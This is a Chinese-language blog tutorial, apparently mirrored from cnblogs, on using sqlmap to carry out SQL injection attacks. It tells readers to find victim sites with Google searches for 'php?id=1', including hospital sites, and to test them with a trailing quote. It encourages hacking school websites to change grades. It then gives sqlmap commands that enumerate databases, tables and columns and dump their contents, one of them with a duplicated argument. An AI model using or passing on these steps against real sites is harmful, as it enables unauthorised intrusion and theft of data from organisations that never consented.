zoukankan      html  css  js  c++  java
  • 使用sqlmap执行SQL注入攻击

    sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库。

    Kali Linux默认安装了这个工具。

    找到潜在的攻击目标

    第一步是找到有SQL注入漏洞的网站。如果你没有特定攻击目标,可以使用Google搜索 php?id=1 (或php?id= + xx系医院):

    找到结果中的url:

    http://www.test.com/index.php?id=1
    

    检测是否有SQL注入漏洞;在url后添加一个’符号,使用浏览器访问:

    http://www.test.com/index.php?id=1'
    

    如果网站没有SQL注入漏洞,使用上面的地址访问不会有问题。如果有SQL注入漏洞,会有错误输出:

    中国很多企事业的网站都有漏洞,有很多学校网站的漏洞早已被发到了网上,这帮家伙也不修复。

    入侵学校网站,修改成绩,有没有人想过:)。

    关于使用sqlmap的法律问题:

    Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

    SQL注入

    测试SQL注入:

    # sqlmap -u http://www.test.com/index.php?id=1 --dbs
    

    自动探测数据库类型和漏洞,如果成功会列出数据库:

    获得某个数据库中的表:

    # sqlmap -u sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables
    

    获得表的字段:

    # sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns
    
    

    下载某一字段的数据:

    # sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump
    

    更多选项,参考man手册:

    # man sqlmap
    
  • 相关阅读:
    v-if与v-show的区别
    vue 初始化项目
    element-ui的el-table中添加递增序号
    根据下拉框中选择的列在下面表格中显示对应的列
    element-ui中el-input需要改变placeholder的字体颜色
    根据不同路由,使对应的菜单高亮显示
    中间文字,两边横线的css3伪元素的使用
    关于正则表达式进行自定义校验
    对输入的表单内容自定义校验
    vue实现登录之后长时间未操作,退出登录
  • 原文地址:https://www.cnblogs.com/daoyi/p/shi-yongsqlmap-zhi-xingSQL-zhu-ru-gong-ji.html
Copyright © 2011-2022 走看看